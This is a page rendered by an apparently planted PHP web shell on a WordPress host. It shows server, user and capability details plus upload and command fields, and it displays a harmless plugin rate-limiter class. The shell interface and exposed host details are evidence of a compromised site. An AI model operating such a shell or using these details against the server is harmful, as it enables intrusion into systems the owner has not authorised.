403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/mcp-core/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/mcp-core/Support/ImportRateLimiter.php
<?php
/**
 * Local, per-authenticated-user import rate limiter (FR-015).
 *
 * A small, self-contained seed — not the "shared infrastructure" the spec's
 * Clarifications describe, because no such shared layer exists anywhere in
 * this codebase yet (research.md §5, spec.md Assumptions). Isolated behind
 * this one class so it can be swapped for real shared infrastructure later
 * without touching any ability.
 *
 * @package Templately\Modules\McpCore\Support
 */

namespace Templately\Modules\McpCore\Support;

use WP_Error;

class ImportRateLimiter {

	const MAX_CALLS      = 10;
	const WINDOW_SECONDS = 60;

	/**
	 * @return WP_Error|null Null if the call may proceed.
	 */
	public static function check(): ?WP_Error {
		$key   = 'templately_mcp_import_rl_' . get_current_user_id();
		$count = (int) get_transient( $key );

		if ( $count >= self::MAX_CALLS ) {
			return new WP_Error(
				'rate_limited',
				__( 'Too many import requests. Please wait a moment and try again.', 'templately' )
			);
		}

		set_transient( $key, $count + 1, self::WINDOW_SECONDS );

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit